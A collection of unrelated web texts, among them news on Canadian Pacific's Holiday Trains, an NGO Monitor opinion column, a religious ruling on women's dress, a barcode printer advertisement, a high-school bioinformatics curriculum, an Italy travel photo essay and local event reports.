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CP Holiday Trains ready to roll
Written by William C. Vantuono, Editor-in-ChiefCanadian Pacific's annual Holiday Train program, now in its 15th year, is one of the longest-running fundraising programs in North America. Each 1,000-foot Holiday Train—one operating in Canada, one in the U.S.— consists of 14 brightly decorated railcars, including a modified boxcar that has been turned into a traveling stage for performers.
The Holiday Train program collects money and food for local food banks, and raises awareness for food banks and hunger issues. The two trains visit more than 150 communities each year and travel a combined distance of approximately 6,000 miles. CP shop forces have updated the thousands of LED lights that adorn the sides of both trains with new holiday designs. Each train
"The Holiday Train Program began in 1999 with a handful of communities and a few lights on a freight train," said CP spokesman Ed Greenberg. "Today, with its hundreds of thousands of festive lights and a live show featuring well known performers, it's one of Canadian Pacific's main ambassadors in working with communities in Canada and the United States and is the only fundraiser of its kind for food banks in North America." In the past 15 years, the program has raised $7.4 million and collected three million pounds of food for local communities.
The 2013 CP Holiday Train program launches on Nov. 25 in Kahnawake, Quebec, formally kicking off a three-week journey, with a first U.S stop in Scranton, Pa. The Canadian train will wrap up its journey Dec. 16 in Port Coquitlam, B.C., while the U.S. train will journey across the U.S. Northeast and Midwest before its final show December 19 in Weyburn, Sask.
Musicians traveling aboard the trains will play more than 150 free concerts from their boxcar stage. This season, "An A-list of musicians will headline the CP Holiday Train events in Hamilton, Calgary, and Cottage Grove," Greenberg said. "Sheryl Crow and Sarah McLachlan will be joined by Tom Cochrane with Red Rider, The Tenors, Great Big Sea, Matt Dusk, Natalie MacMaster, and Take 6 in celebrating our 15th anniversary. These stars will help CP raise further awareness for charities that help fight hunger in Canada and the U.S."
"I thank these internationally-renowned artists for joining us in shining a bright spotlight on this important issue," said CP chief executive E. Hunter Harrison.
The Hamilton, Ont., event takes place Nov. 30 at Gage Park with Tom Cochrane with Red Rider, Great Big Sea, and Natalie MacMaster. The Calgary event is scheduled for Dec. 7 at Anderson LRT Station with Sarah McLachlan, The Tenors, and Matt Dusk. The Cottage Grove, Minn., event takes place on Dec. 14 at CP Yard with Sheryl Crow and Take 6. Gates open at 4:00 p.m., the concert begins at 5:00 p.m. The Hamilton and Calgary events will be hosted by Peter Mansbridge, chief correspondent for CBC News and anchor of The National, CBC Television's flagship nightly newscast.
"Prior to each concert, these communities will be able to experience The North Pole Station, a magical village that will feature family-oriented interactive activities, ice carving, hot chocolate, and a chance for the kids to visit Santa before making their way to the concert stage," Greenberg said. "While the events are free, those attending are asked to make a cash donation or bring non-perishable food items. All donations stay with the food shelf in the community where they're donated. Items like infant formula, canned meats, and spaghetti sauce are in particular demand for the millions of North Americans who turn to food banks each month."
For additional information, photos, a route map, and downloadable pictures of the two trains, visit: www.cpr.ca. Supporters can also join the Holiday Train on Facebook and follow the two trains on Twitter @CPHolidaytrain #CPHolidayTrain.


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[Opinion] Opening the door on EU funding
Click here to read the original article
Late last year, the European Court of Justice ruled against a petition NGO Monitor filed to challenge the European Union's lack of transparency regarding major funding for non-governmental organizations spearheading the delegitimization of Israel. The court affirmed our factual claims regarding the EU's refusal to provide the documents under the EU's Freedom of Information statutes. Nonetheless, the court permitted the EU to continue hiding its NGO funding procedures.
Eleven years earlier, in September 2001, only days before 9/11, the UN held its World Conference on Racism in Durban. A major component of the conference was its virulent NGO Forum, where some 1,500 NGOs embraced a declaration calling on the "international community to impose a policy of complete and total isolation of Israel."
This declaration of political war – what we dubbed the "Durban Strategy" – seeks to deny the legitimacy of the Jewish peoples' right to sovereign equality.
Five months later in February 2002, I covered the first national student conference of the Palestine Solidarity Movement at the University of California at Berkeley.
What I witnessed was a local repetition of the Durban NGO Forum.
By then terrorists had already killed hundreds of Israelis, mainly civilians, in the "al Aksa" intifada. The 250 radical student activists from across the US who gathered in Berkeley opted to support the intifada's carnage. True to the Durban Strategy, they used the language of "peace" and "human rights" to support violence and war crimes. They declared their "solidarity with the popular Palestinian resistance to Israeli occupation, colonization and apartheid." They also resolved to launch a national campus-based anti-Israel divestment campaign.
At the time, I wrote in the Bay Area's Jewish newspaper that conference organizers "were not seeking peace with Israel, but rather 'peace' without any Israel." I predicted that this "divestment movement, whose aim is to delegitimize, demonize and dehumanize the State of Israel, will make its presence known on college campuses nationally… Jewish and non-Jewish students alike will be challenged in their thinking about Israel's very right to exist."
This is the essence of the Durban Strategy: to undermine popular acceptance of Israel's legitimate place in the international community. The Durban Strategy has since proliferated throughout the world.
We see it today in mainline churches, labor unions, university campuses, local and national governments, corporate stockholder meetings, and the arts.
A central element of EU foreign policy is its funding of NGOs in Israel, the West Bank and Gaza. This is accomplished via the European Instrument for Democracy and Human Rights, Partnership for Peace, the Anna Lindh Foundation and other structures.
In the decade since the Durban conference, NGO Monitor has documented the transfer of over one hundred million euros from the EU and various European governments to scores of NGOs carrying out the Durban Strategy.
Some of the NGOs that have received EU funding in the past decade include the Israeli Committee Against Home Demolitions (ICAHD), a radical Israeli NGO that promotes a "one state" solution; the Democracy and Workers Rights Center Association (DWRC), which promotes boycotts, divestment and sanctions; and Mada al-Carmel, which was instrumental in composing the Haifa Declaration, which calls for a "change in the definition of the State of Israel from a Jewish state," and the implementation of the Palestinian "right of return."
Many of these NGOs use human rights as a façade to foster political programs contrary to the EU's official policy for resolution of the Arab-Israeli conflict. They promote boycotts, divestment and sanctions, the deliberate distortion of international law through lawfare and the exploitation and misapplication of human rights principles.
The European Court of Justice's ruling favoring secrecy over transparency will not be the final word. The door has been opened to expand the "naming and shaming" of European governments that secretly fund the Durban Strategy, and their NGO clients.
In the months to come, NGO Monitor will lead a major political and media campaign designed to expose the ways hundreds of millions of euros in taxpayer funds are secretly disbursed to promote radical anti-Israel NGOs.
Eventually the truth will emerge, and when it does European taxpayers will learn the details of how their hard earned euros have contributed not to peace, but to further conflict and strife between Israelis and Arabs.
The author is chief programs officer for the Jerusalem-based NGO Monitor.

subset: commoncrawl


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Ruling on a woman removing her clothes in a place other than her own house
I came out of the bathhouse and the Prophet (blessings and peace of Allah be upon him) said: "Where are you coming from, O Umm ad-Darda'?" I said: From the bathhouse. He said: By the One in Whose hand is my soul, there is no woman who removes her clothes in a place other than the house of one of her mothers but she is destroying every screen between her and the Most Merciful, may He be glorified and exalted."
At-Targheeb wa't-Tarheeb, 1/119
"There is no woman who removes her clothes in a place other than her husband's house but she has removed the screen between her and her Lord."
Classed as saheeh by al-Albaani in ad-Radd al-Mufhim, p. 73
My question is: We have a sports club near us that is a respectable place and very well monitored. Inside it there is a room for exercise that is only for women. All the women in charge of this building and those who frequent it are religiously committed and wear hijab, and they do not allow any man to enter it at all. The doctor has advised me and my sister to exercise in order to overcome our general state of weakness and muscular and joint pain. They have also given similar advice to my mother, because she suffers from osteoporosis. My sister and I go to that gym wearing full hijab and covering ourselves properly, but when we enter it we exercise wearing clothing like that which we wear in front of our mahrams; there is no indecency there or extreme uncovering at all; only our heads and forearms are uncovered, and that is in safe rooms that are entirely enclosed inside this building, and all the people around us are women. Is it permissible for us to do that or does it come under the heading of what is forbidden by the two hadeeths quoted above?
I would also like to find out from you any exemptions to the prohibition in the two hadeeths if there is any? Does it also mean that it is not permissible to go to beauty parlours or hairdressers who work with women who wear hijab for the purpose of simple and permissible beautification in which there is nothing that is contrary to the laws of Allah, in places that are safe, where all the workers are women, even if one of my mahrams is going to take me there and back by car? (And does that apply) even if I am a bride and even if it requires me to uncover a little as a woman uncovers in front of her mahrams?
What is the ruling on beauty parlours or cosmetic surgery clinics that are operating on a larger scale than that and in which more extensive procedures are carried out?
I hope that you can respond in detail; may Allah reward you with good.
Ahmad (6/173), Abu Dawood (4010) and at-Tirmidhi (2803) narrated from 'Aa'ishah (may Allah be pleased with her) that some women from Homs asked permission to enter upon her, and she said: Perhaps you are among those who enter bathhouses? I heard the Messenger of Allaah (blessings and peace of Allah be upon him) say: "There is no woman who removes her clothes anywhere other than her husband's house, but she has torn the screen that is between her and Allaah."
Classed as saheeh by al-Albaani in Saheeh Sunan Ibn Maajah.
This hadeeth indicates that it is haraam for a woman to take off her clothes anywhere but in her own house. What is meant by that is if she removes her clothes in a place where she is not safe from being seen by men who are not her mahrams, or there is the fear that that may result in fitnah or falling into something haraam.
Al-Manaawi said in Fayd al-Qadeer, 3/176:
"Removing her clothes anywhere other than her husband's house" is a metaphor for her being seen by non-mahrams and not being concealed from them.
"she has torn the screen that is between her and Allaah" – because Allah, may He be exalted, sent down garments for them to conceal their 'awrah, Which is the garment of piety. So if a woman does not fear Allah and she uncovers her 'awrah, she has torn the screen between her and Allah, may He be exalted, as she has exposed herself and did not protect herself, and she has betrayed her husband, so Allah will remove the screen that is concealing her. The punishment fits the misdemeanour and what is meant by removing the screen is scandal. End quote.
He also said (3/189):
Because if she does not adhere to what is being enjoined upon her of covering herself before non-mahrams, she will be requited for that and the requital fits the misdemeanour. It seems that removing clothing refers to her uncovering herself before a non-mahram man so that he may engage in intimacy with her or in that which leads to it. This is something different from her removing her clothing among other women whilst being careful to cover the 'awrah, as there is no way that this could be included in this warning. End quote.
It says in Fataawa al-Lajnah ad-Daa'imah, 17/224:
What the Prophet (blessings and peace of Allah be upon him) meant, and Allah knows best, was to prevent a woman from being careless with regard to removing her clothing anywhere but in the house of her husband in such a way that her 'awrah could be seen and then she may be accused of seeking to commit immoral actions and so on. As for removing clothing in a safe place, such as in the house of her family or her mahrams in order to change her clothes, or to relax and other permissible aims that are far removed from fitnah, there is nothing wrong with that. End quote.
Shaykh Ibn 'Uthaymeen said in Fataawa Noor 'ala ad-Darb (Commentary on hadeeths and their classification):
This hadeeth, if it is saheeh, which says that the one who removes her clothing anywhere but in the house of her husband has torn the screen – if it is saheeh, then what is meant is if a woman removes her clothing in a situation where there is the fear that she may be seen by one for whom it is not permissible for him to see her. End quote.
See also the answer to question no. 9460, 34750
Based on that, there is nothing wrong with a woman removing her clothing outside her house for a necessary purpose, when she is safe from anyone seeing her 'awrah, such as in her mother's or sister's house, or in indoor clubs that are only for women, or in beauty parlours where no one goes except women… And so on.
With regard to going to the hairdressers, there is nothing wrong with it if the place is only for women and there are no haraam things there such as plucking the eyebrows, imitating kaafir or immoral women, or uncovering that which it is not permitted to uncover of 'awrahs, and it is only limited to beautifying the hair and face.
With regard to cosmetic centres, the basic principle concerning various kinds of cosmetic procedures is that if it is done to remove a defect that is disfiguring to the body, there is nothing wrong with it, but if the aim is to go to extremes in beautification, and not to remove a defect, then it is haraam.
You will find more details on that on our website under the heading "Clothing, adornment and images"
And Allah knows best.


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Zebra founded in 1969. They design first barcode printer in 1980. Currently they offering full range of Auto-ID product such as barcode printer, barcode scanner, ID card printer.
They was acquired the enterprise business from Motorola Solution Inc in 2014.
The Premium Standard Zebra Barcode Label Printer
The Zebra Barcode Label Printer is an elite level printer that is known for its fast printing speeds as well as its fast network manageability. Its design is user-friendly, and people do not need training to be able to use it nicely. It is made from high-profile features that make it among the best label printer Malaysia. Owing to the superb programs installed in the printer, users experience no downtime, and it can be manipulated to meet the users demands at all time. But what makes the Barcode label printer to standout as the best printer in Malaysia? Find out below.
Barcode Printer is Very Flexible, and It Can Be Used Anywhere
Because of the variation in printing needs of various businesses, the printer comes with a flexible and portable shape. This makes it a good choice to be used in the mid-volume and distributed-printing applications without any inconvenience. When you start printing, you can set any printing design, and it will produce the same pattern that you want. Zebra sticker printer is a good printer for all your printing needs in your daily business operations.
Efficiency and Reliability of the Barcode Printer
The printer is known to produce high-quality texts and that have an excellent readability. Besides, it keeps memory of all the information printed therefore you can trace any information that you could be in need of. To make it easy to upgrade, it comes with ZPL® and EPL™ programming languages where a person can set the system of his or her own choice. Its printing service is known to be power saving because it prints by direct thermal and thermal transfer printing power. QR code printer machine is effective even in healthcare institutions because it comes with disinfected plastics that make the printer to work without causing any infections to the patient. It has excellent fixed reflective and Trans missive sensors that ensures quick scanning and printing.
A High-Quality Barcode Printer that Lasts Longer that You Expect
Besides the functional competency, the printer is made from robust materials that make it to function for long without any breakdown. The printer cannot break even when it falls from off the place where it has been positioned. Its system is made with robust materials that are well-fixed which make it to work efficiently with very minimal to no breakdowns. Its parts do not get worn out easily, so you will not have to replace the zebra sticker printer parts regularly.
The bottom line is that it is cost effective and efficient which means that it is a good fit for both large and small business printing needs. This machine comes in various sizes so you can choose the size that is suitable for you. If you are looking for a machine that will provide you with the best printing solutions, this is the best type and brand to purchase. It comes with a warrant and free installation plus when you want maintenance services, they can be offered to you.


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Show Reporters
220.127.116.11 Marked Catalogs. The show committee is required to forward (via first class mail or better) one completely marked catalog to the Executive Office of TICA, the regional reporters and the appropriate regional director within 48 hours after the close of the show. As an alternative to mailing, clubs are encouraged to submit a copy of the marked catalog via email in an electronic format known to be readable by the Executive Office, within 72hours after the close of the show. The show committee is required to forward one completely marked catalog to the judging administrator, to each judge, the master clerk and to any person who ordered a marked catalog No Later than 7 days after the show! The show committee shall also send a catalog marked with the finals page(s) and the appropriate breed awards to each certified ring clerk within 7 days after the show.


text: Werebox – physics game story begins! Werebox is a mobile game where Good meet Evil. This is a world full of balls. But some of them can turn into the boxes! They are called wereboxes! The player's goal is to kick all the bad red boxes off the screen and leave the rest good ones. Use wisely your forces, 'cause we don't need unnecessary victims! Tap on the ball to transform it into the box and vise-versa. Some objects can be transformed, some not. Clear the world from the bad wereboxes and save the planet!


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Individual lessons and curriculum support materials are described in the table below and can be downloaded there.
To cite the Bio-ITEST Genetic Research materials, or to download the entire curriculum:
Chowning, J., Kovarik, D., Porter, S., Grisworld, J., Spitze, J., Farris, C., K. Petersen, and T. Caraballo. Using Bioinformatics: Genetic Research. Published Online October 2012. figshare. https://dx.doi.org/10.6084/m9.figshare.936568
Click to view our two-part DNA Barcoding Animation that supplements the Genetic Research curriculum in general, and the Wet Lab lessons in particular.
The development of these materials was funded in part by an ITEST grant from the National Science Foundation DRL-0833779. Any opinions, findings, conclusions, or recommendations expressed on this website are those of the authors and do not necessarily represent the official views, opinions, or policy of the National Science Foundation.
Title | Description | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
The Bio-ITEST genetic research curriculum is designed for high school students in grades 9-12. In a series of nine lessons plus an optional wet lab, students are introduced to the idea of using genetic information to identify species through a process called DNA barcoding. Students also learn how genetic information and bioinformatics tools can be used to study species' relatedness. Through this curriculum, students:
Download Genetic Research Overview (pdf) |
In this lesson, students are introduced to the process of genetic research. The lesson begins with a Think-Pair-Share activity designed to introduce students to the types of research questions people in different career fields might answer using bioinformatics tools. After a short background explanation provided by the teacher about how genetic research is done, students make their own hypotheses and predictions about the relatedness of canine species, and align paper DNA sequences to evaluate their hypotheses. The lesson concludes with a group activity introducing students to pairwise comparisons of DNA sequences, which will be explored more fully in later lessons. In Lesson One, students learn how DNA sequencing core lab managers might use bioinformatics tools in their career. Download Genetic Research Lesson 1 (pdf) |
Lesson Two: DNA Barcoding and the Barcode of Life Database (BOLD) |
In this lesson, students will receive an "unknown" DNA sequence and use the bioinformatics tool Basic Local Alignment Search Tool (BLAST) to identify the species from which the sequence came. Students then visit the Barcode of Life Database (BOLD) to obtain taxonomic information about their species and form taxonomic groups for scientific collaboration. The lesson ends with each student generating a hypothesis about the relatedness of the species within each group. In Lesson Two, students learn how postdoctoral scientists in DNA and history might use bioinformatics tools in their career. Download Genetic Research Lesson 2 (pdf)
Lesson Three: Using Bioinformatics to Study Evolutionary Relationships |
In this lesson, students learn how to use bioinformatics tools to analyze DNA sequence data and draw conclusions about evolutionary relationships. Students collaborate with their group members by pooling their DNA sequences from Lesson Two: DNA Barcoding and the Barcode of Life Database (BOLD) to perform and analyze multiple sequence alignments using the computer programs ClustalW2 and JalView. After comparing relatedness among and between the species within their group, students use their sequence alignment to generate a phylogenetic tree, which is a graphical representation of inferred evolutionary relationships. This tree is used to draw conclusions about their research question and hypothesis. In Lesson Three, students learn how microbiologists might use bioinformatics tools in their career. Download Genetic Research Lesson 3 (pdf)
Lesson Four: Using Bioinformatics to Analyze Protein Sequences |
In this lesson, students perform a paper exercise designed to reinforce student understanding of the complementary nature of DNA and how that complementarity leads to six potential protein reading frames in any given DNA sequence. They also gain familiarity with the circular format codon table. Students then use the bioinformatics tool ORFinder to identify the reading frames in their DNA sequence from Lesson Two and Lesson Three, and to select the proper open reading frame to use in a multiple sequence alignment using their protein sequences. In Lesson Four, students learn how biological anthropologists might use bioinformatics tools in their career. Download Genetic Research Lesson 4 (pdf)
Lesson Five: Protein Structure and Function—A Molecular Murder Mystery |
Prior to this lesson, students learned how the cytochrome c oxidase subunit 1 (COI) gene is used to barcode animals. In this lesson, students learn more about the cytochrome c oxidase protein and its three-dimensional structure. In particular, students learn how to identify the active site in cytochrome c oxidase. Once they can find this site, they look at aligned structures (one of which contains a poison) and then determine the identity of a foreign substance that acts as a poison by binding to the active site. This lesson allows students to explore the use of the molecular visualization program Cn3D to learn more about cytochrome c oxidase, a ubiquitous and important protein. In Lesson Five, students learn how molecular diagnostics researchers might use bioinformatics tools in their career. Download Genetic Research Lesson 5 (pdf) Download Genetic Research Lesson 5 Powerpoint (ppt) NOTE: To download the Cn3D files, right click and save the file to your desktop. Otherwise these files will open as text.
In this lesson, students compile and synthesize what they have learned in the preceding lessons by writing a research report. The research report includes Introduction, Methods, Results, Discussion, and References sections. Emphasis is placed on relating previous lesson activities to the original research question and hypothesis. Extensions and lesson alternatives include instructions for creating a scientific poster, writing a scientific abstract, or writing a science-related magazine article. In Lesson Six, students learn how science and technical writers might use bioinformatics tools in their career. Download Genetic Research Lesson 6 (pdf)
Lesson Seven: Who Should Pay? Funding Research on Rare Genetic Diseases |
In this lesson, students learn about Leigh's disease, a rare form of Subacute Necrotizing Encephalomyelopathy (SNEM) that can be caused by a deficiency in cytochrome c oxidase (complex IV). Deficiencies in the large, 13-subunit cytochrome c oxidase complex can result from defects in one of several proteins, including cytochrome c oxidase subunit 1, the protein encoded by the DNA barcoding gene, and examined in Lesson 5. Without the COI protein, cells are unable to harness usable energy from glucose. This is a jigsaw exercise. Students are assigned or choose one of four stakeholder parties. They meet in "like" interest groups to become more familiar with that stakeholder's position and concerns. Afterwards, they meet in "mixed" groups with a representative from each of the stakeholder groups. Students identify areas of agreement and disagreement, and propose a compromise to recommend to Congress regarding funding for rare disease research. In Lesson Seven, students learn how pediatric neurologists might use bioinformatics tools in their career. Download Genetic Research Lesson 7 (pdf) Download Genetic Research Lesson 7 Powerpoint (ppt) |
In this lesson, students synthesize the information they have learned throughout the unit about people in various careers who use bioinformatics. Students then have the opportunity to perform independent research about a career of interest before developing a resume to use when applying for a bioinformatics-related job. Students also learn about writing cover letters. Optional extensions include peer-editing of resumes and/or cover letters, and a mock interview for a job related to a career of interest. Download Genetic Research Lesson 8 (pdf) |
DNA sequencing is performed by scientists in many different fields of biology. Many bioinformatics programs are used during the process of analyzing DNA sequences. In this lesson, students learn how to analyze DNA sequence data from chromatograms using the bioinformatics tools FinchTV and BLAST. Using data generated by students in class or data supplied by the Bio-ITEST project, students learn what DNA chromatogram files look like, learn about the significance of the four differently-colored peaks, learn about data quality, and learn how data from multiple samples are used in combination with quality values to identify and correct errors. Students use their edited data in BLAST searches at the NCBI and the Barcode of Life Database (BOLD) to identify and confirm the source of their original DNA. Students then use the bioinformatics resources at BOLD to place their data in a phylogenetic tree and see how phylogenetic trees can be used to support sample identification. Learning these techniques will provide students with the basic tools for inquiry-driven research. Download Genetic Research Lesson 9 (pdf) This lesson can be completed with DNA sequence data (called chromatograms) that students generate, or they can use the pairs of "Unknown" chromatograms provided below. For each pair, students will use a "Forward" chromatogram and a "Reverse" chromatogram, representing sequence data from each strand of DNA. To use this lesson with a single DNA sequence file per sample (instead of 2), use the handout and Powerpoint below. Download Genetic Research Lesson 9 Single Sequence Handout (pdf)
In this lesson, students perform the wet lab experiments necessary for DNA barcoding. Beginning with a small tissue sample, students purify the DNA, perform the polymerase chain reaction (PCR) using COI-specific primer pools, and analyze their PCR products by agarose gel electrophoresis. PCR reactions that result in products of the correct size are purified and submitted for DNA sequencing. This DNA sequence data can be used in Lesson Nine, or as part of an independent project. Download Genetic Research Wet Lab (pdf) |
This Unit Appendix contains background information and additional reading to supplement the Genetic Research lessons, including:
Download Genetic Research Appendix (pdf) |


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Talking about toilets may seem like poor manners, but World Toilet Day seeks to address an important health issue that affects people around the globe.
Nov. 19 brings awareness to the lack of access to safe toilets. Supported by UN Water, World Health Organization and other international non-profits, a 2017 study shows 4.5 billion people live without safe, sanitary toilets. This can lead to contamination of soil and waterways, a safety and health hazard UN Water wants to eliminate by 2030.
But it's not just developing countries plagued by the need to pee.
READ and WATCH MORE: How accessible are Victoria's public washrooms?
Stephen Harrison, the blogger behind Needs More Spikes, examines defensive architecture in Victoria.
"There are lots of different things that are supposed to go unseen by most people. I wanted to document how the city has been built to limit use of public space by certain groups of people, in particular, homeless and poor people," Harrison said. He points to examples of customer-only washroom signs in businesses throughout the city, and city council's decision last spring to close Reeson and Quadra parks to overnight camping because they did not have washroom facilities (instead of adding facilities, Harrison notes).
On Nov. 8, he posted a blog that finds 136 people are peeing in Victoria right now. Harrison calculated the number by comparing the city's population with the average amount, time and frequency people urinate in an average day. The stat, he said, was a way to highlight the daily need faced by everyone and inspire a larger discussion.
READ MORE: Mustard Seed rolls in record-breaking toilet paper numbers
"It's not like washroom options are plentiful," he said. "They're scattered around, they're not always available, some of them are locked. Lots of them lack amenities like soap and mirrors."
Of the 22 public city-funded washrooms in Victoria, only three — at Langley Street, Centennial Square and Pandora Street — are available around the clock. One of them is a male-only urinal that can't be accessed with a wheelchair or walker.
Harrison's post was inspired by a washroom in the Atrium building on Blanshard that, while in a private business, used to be easily accessible with gender-neutral facilities. Then a "customers only" sign appeared, and patrons had to ask for a key from security or staff to use them. Such signs and how they're enforced can create a barrier, he said, especially to homeless people or those who appear poor.
"Accessibility or amenities or general availability of washrooms are not plentiful, depending on who you are and the city or private businesses are treating you," Harrison said.
One of the reasons businesses may enforce a customer-only rule, Harrison said, is because of the fear of drug use in their washrooms.
"I totally get that a barista or other staff might not want to respond as defacto-first responders, but for any business operating here, the community they're serving includes people who use drugs," he said. "If businesses are troubled by people using drugs in their washrooms, then perhaps they should be fighting the stigma around drug-use and fighting for things like decriminalization. Whereas locking bathroom doors is contributing to stigma…which pushes people away and could do real harm."
After he wrote his washrooms post, Harrison said a friend pointed out that homeless people often drink fewer fluids when they know they don't have regular access to toilets. That can create another kind of health issue.
READ MORE: Interest in park growing by the toilet paper roll


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I've decided to make this a bit of a photo essay. We'll see what happens.
Our hotel in Rome was just off a street named Via Nazionale. This is a bank on that street. They should probably fix some of the letters on their sign.
This is The Vatican, on Christmas Day. We actually expected it to be a lot more of a scene. See if you can spot the Pope. If you can, then I'm going to feel pretty silly for missing him. Note the manger scene on the right. We saw lots of manger scenes.
Like this one. I tried to make the scene fill the frame so that it's unclear how big or small this is, and if I said it was life size, it would be convincing. Are you convinced?
This is a travesty. Imaginary American Tourist: "Good thing there's some American frozen yogurt in Rome. I hate gelato." Best gelato we had in Rome was at San Crispino, right off a street called Via Lavatore, which I'm certain isn't pronounced the same way I was pronouncing it. Best gelato we had in Florence was at a place called Grom, near Il Duomo. I had their flavor of the month, which was Dark Chocolate flavored with Orange, and studded with little pieces of candied orange peel. It was really quite good. The worst gelato we had was actually chicken served on the flight to Rome on Alitalia. The difference between the Alitalia flight to Rome and the Delta flight back from Rome was pretty astounding. The Delta plane was newer and cleaner, and the food was almost edible.
Speaking of food that's almost edible... this is actually one of the meals I had in Florence. The food on the trip was a mixed bag. We had some very good meals -- most notably at a wine bar in Rome called Vineria Il Chianti and a restaurant in Florence called "Fish Restaurant" (it was right near the Mercato Centrale, which was filled with fresh fish, and so I figured it was worth a shot... it was). But too many of the meals felt wasted, even when I used guidebooks and message boards to help pick the place. I think part of it was that we weren't looking to spend crazy amounts of money to go to the real standout highest-end restaurants in either city, and part of it was probably that it's not the high season for tourists or in-season for a lot of the produce... compounded by the week we were there, when food deliveries probably weren't completely regular... when I went to Paris I remember really being blown away by the food... the bakeries on every corner, the crepes, the restaurants providing food that was really significantly better than what I was regularly eating in law school. I think Rome and Florence have more trouble meeting that standard in some respects because Italian food is probably more about the ingredients than the cooking -- pasta and pizza aren't that hard, and there's a limit to how good each can really get -- and it's so ubiquitous that there really are lots of New York restaurants that can get it right. I also think I've become a more exposed eater living for the past year and a half in New York and trying to eat interesting and new things and seek out good food moments. So my expectations couldn't possibly be reached. But this meal in the picture: truly terrible. Trattoria Zaza, in Florence, in case you want to cross it off your list. The picture is actually of the better half of the meal, believe it or not. I also ordered a caprese salad (mozzarella and tomato). The tomato, which is pretty much the whole dish, was somewhere on the spectrum between overripe and rotten, and I actually sent it back (I'm not sure I've ever sent food back anywhere, let alone in a foreign country). They took it off the bill, but, really, inexcusable and a waste of a meal anywhere, let alone in Italy.
I give that meal one vomiting monkey. These are not the only food travesties we found on the trip. (I'm only now realizing this pattern that runs through the photo album.)
Pasta in a vending machine. McDonalds: Pantheon. And a fast food truck, right in front of the Colosseum. I guess Americans aren't the only ones to spoil their monuments with crap.
I give all of these potential meals a whole bunch of vomiting men. Another pattern that seems to run through the photo album.
This store window is typical of Florence. We didn't see where in the city real people live. It was pretty much all museums, churches, and stores designed to appeal to English-speaking tourists. I'm omitting the picture of the Foot Locker...
...which was somewhat in contrast to Rome, where the store names were less recognizable. Also notice the size of the car. Cars in Europe are really small...
...which is good, because so are gas stations.
We took these pictures through the window of a pharmacy. Over-the-counter Botox. And all sorts of pills in bottles that look a little lost in the past. We also saw some pharmacy products in the Science Museum in Florence. Beakers and flasks and that kind of stuff, filled with powders and liquids, with colored gas escaping from the top. Reminded me of my grandma's medicine cabinet. Or the back of her refrigerator.
I thought this sign was funny. "Severely punished." And the fourth picture from the right looks to me like they're trying to ban dancing.
This is the synagogue in Rome. The museum and tour were worth the price and time. Interesting stuff, like these stone tablets from this month's issue of the synagogue newsletter. Next week is Salvatore's Bar Mitzvah!
Just for a change of pace, here are some not-retarded photos. From left: the Spanish Steps (Rome), overlooking the Forum (Rome), and a main shopping street at night (Florence). I've been mostly pointing out stupid things in this photo essay, but overall things were pretty cool, and it was neat to see Italy.
Finally, the front page of an Italian newspaper on Saturday. Translation: "Saddam buys fake Prada handbag in Florence central market." We missed a big week of news, but were lucky the hotel had CNN International. Coverage of the Hajj beat out coverage of President Ford by about 100-to-1. I'm not sure I ever saw any coverage of the Hajj on CNN Not-International.
And this concludes my photo essay, backdated so it's my last post of 2006. Happy New Year!


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Last week, I wrote about collections for my garden column that I write each week for our local newspaper, the Paulding Progress. Gardeners collect plants, certain genera of plants, garden tools (such as hoes), and old garden books. I do the former and the latter, but I used to collect something else.
Long before I ever knew or even thought about becoming a gardener, way back in the sixth grade, I collected postcards. Cheryl, my best friend at the time, and her family were antique buffs and I often went with them on their journeys to local antique dealers to look for treasures. I often came home with odds and ends of things, but always more postcards to add to my collection.
I still have that collection, kept in a shoebox and stored in a closet, but now and then I get it out and look through it for a certain postcard that pops into my memory for some reason or another. A couple of weeks ago, as we were cleaning out the attic over the garage, another box was found - a box of old family photos and memorabilia from my mom's side of the family.
Found amid the pieces was this postcard, addressed to my great-grandma. A friend of hers had sent greetings from Belle Isle in Detroit, depicting the Horticultural Building. The postmark was dated August 31, 1920. My great-grandma would have been 28 years old at the time.
I knew Great-grandma Gertie, and so did my girls, though I doubt they remember much about her. She died in 1988 a little over a month away from her 96th birthday.
World Cup of Gardening
Though I don't live that far from Detroit (2½ hours), I've never been to Belle Isle, and I'm not familiar with it, but finding the postcard piqued my interest. Next summer, I hope to attend the first World Cup of Gardening event to be held on none other than Belle Isle, located in the Detroit River.
This premier gardening show, running from June 16-21, 2015, is expected to be world-class, showcasing ten 1000-square-foot gardens designed and built by internationally acclaimed landscape artists from around the world. There will be educational opportunities, vendors, entertainment and diverse food offerings.
More information about the show can be found on the official website as well as in this brochure.
Belle Isle National Park
The 982-acre park, which is the largest island park in the U.S. and on the National Register of Historic Places (so designated in 1974), was designed in 1883 by the famous landscape architect, Frederick Law Olmsted.
Photo by Elizabeth McMillan/Wikipedia CC |
The Horticultural Building, also called the Conservatory, was begun in 1902 and completed in 1904, when it opened to the public. Originally a wooden structure, the frame was rebuilt with steel and aluminum in 1949.
In 1953, it was renamed the Anna Scripps Whitcomb Conservatory, after Ms. Whitcomb donated her collection of 600 orchids. It is the oldest continually operating conservatory in the U.S. and is open to the public at no charge.
A bit of a mystery though, is the Lily Pond. Online sources tell me that it was not a part of the original design and that it wasn't constructed until 1936. This postcard, clearly postmarked 1920 would suggest that "a" lily pond existed long before that.


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OCEAN CITY – Planning for OC Beachfest is preceding smoothly, reported event coordinators last week, noting that while the running component of the three-day sporting event will be seeing some changes, the rest of the events remain on track.
Event planners Brad Hoffman and Jack Hennen returned to the Tourism Commission last week to update members on the progress of the 2009 scheduled event.
OC Beachfest is tentatively scheduled for June 19-21, 2009 and will include three days of professional and amateur sports. The three-day, citywide event would include surfing, skateboarding, bodyboarding, several running components, paddleboarding, BMX and kiteboarding. Interactive activities, vendors, music, demos, entertainment, sports celebrities, health and fitness, and beach movies will also be featured over the course of the three-day event.
Plans for the event originally called for a 5K run and half-marathon, but concerns over police overtime and traffic control for a half marathon through the town led Hennen and Hoffman to rethink the running component of the event.
"It's not going to be nearly as much of an impact on the town's roadways," Hennen said.
Instead of the half marathon, the event will now feature several shorter runs. Hennen explained that the shorter runs will have less of an impact on the town's resources and will also promote more family involvement, one of the larger goals of the event. The runs will also be geared more towards the recreational runner now rather than marathon runners.
"The way we've revamped the run, we probably won't need any police officers, maybe one," said Hennen.
The new route for the runs will include the beach, Boardwalk, and parts of downtown Baltimore Ave. EMS assistance will be required from the town as well as traffic cones from the Department of Public Works.
The commission remained receptive and enthusiastic about the event.
For all the week's news, see The Dispatch on Friday morning.


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Dear Gossips,
